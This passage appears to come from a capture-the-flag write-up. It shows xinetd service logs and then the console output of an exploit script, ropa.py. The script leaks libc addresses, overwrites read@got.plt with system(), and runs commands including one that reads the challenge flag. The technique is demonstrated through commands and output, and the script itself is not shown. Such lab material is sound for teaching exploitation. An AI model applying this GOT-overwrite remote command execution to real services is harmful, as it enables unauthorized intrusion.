Server argv = challenge
Only from: All sites
No access: No blocked sites
No logging
22/11/7@10:19:47: DEBUG: 1 {cnf_start_services} Started service: challenge
22/11/7@10:19:47: DEBUG: 1 {cnf_start_services} mask_max = 6, services_started = 1
22/11/7@10:19:47: NOTICE: 1 {main} xinetd Version 2.3.15 started with libwrap loadavg options compiled in.
22/11/7@10:19:47: NOTICE: 1 {main} Started working: 1 available service
22/11/7@10:19:47: DEBUG: 1 {main_loop} active_services = 1
22/11/7@10:19:47: NOTICE: 1 {general_handler} Unexpected signal 28 (Window changed)
22/11/7@10:19:47: DEBUG: 1 {main_loop} active_services = 1
22/11/7@10:19:55: DEBUG: 1 {main_loop} select returned 1
22/11/7@10:19:55: DEBUG: 1 {server_start} Starting service challenge
Running the exploit against the actual challenge.
C:\Users\MEH\Desktop>python ropa.py id
[+] Leaked address of read(): 0xf7df3980
[*] Calculated address of system(): 0xf7d58da0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
C:\Users\MEH\Desktop>python ropa.py whoami
[+] Leaked address of read(): 0xf7e74980
[*] Calculated address of system(): 0xf7dd9da0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command
nobody
C:\Users\MEH\Desktop>python ropa.py "ls -l"
[+] Leaked address of read(): 0xf7e89980
[*] Calculated address of system(): 0xf7deeda0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command
total 76
drwxr-xr-x 1 root root 4096 Jun 1 2017 bin
drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
drwxrwxr-x 1 root root 4096 Aug 31 2017 challenge
drwxr-xr-x 5 root root 360 Nov 7 10:19 dev
drwxr-xr-x 1 root root 4096 Nov 7 10:19 etc
drwxr-xr-x 2 root root 4096 Apr 12 2016 home
drwxr-xr-x 1 root root 4096 May 18 2017 lib
drwxr-xr-x 2 root root 4096 May 18 2017 lib32
drwxr-xr-x 2 root root 4096 May 10 2017 lib64
drwxr-xr-x 2 root root 4096 May 18 2017 libx32
drwxr-xr-x 2 root root 4096 May 10 2017 media
drwxr-xr-x 2 root root 4096 May 10 2017 mnt
drwxr-xr-x 2 root root 4096 May 10 2017 opt
dr-xr-xr-x 302 root root 0 Nov 7 10:19 proc
drwx------ 1 root root 4096 May 18 2017 root
drwxr-xr-x 1 root root 4096 May 18 2017 run
drwxr-xr-x 1 root root 4096 May 18 2017 sbin
drwxr-xr-x 2 root root 4096 May 10 2017 srv
dr-xr-xr-x 11 root root 0 Nov 7 10:19 sys
drwxrwxrwt 1 root root 4096 Jun 1 2017 tmp
drwxr-xr-x 1 root root 4096 May 18 2017 usr
drwxr-xr
C:\Users\MEH\Desktop>python ropa.py "ls -l /challenge"
[+] Leaked address of read(): 0xf7e79980
[*] Calculated address of system(): 0xf7ddeda0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command
total 16
-rwxr-xr-x 1 root root 2948 Jun 1 2017 challenge
-rw-r--r-- 1 root root 251 Aug 31 2017 challenge.conf
-rw-r--r-- 1 root root 29 May 18 2017 flag
-rw-r--r-- 1 root root 334 May 18 2017 run_xinetd.sh
C:\Users\MEH\Desktop>python ropa.py "cat /challenge/flag"
[+] Leaked address of read(): 0xf7e2b980
[*] Calculated address of system(): 0xf7d90da0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command
PCTF{RopISDaBEST!!!!!!11!!!}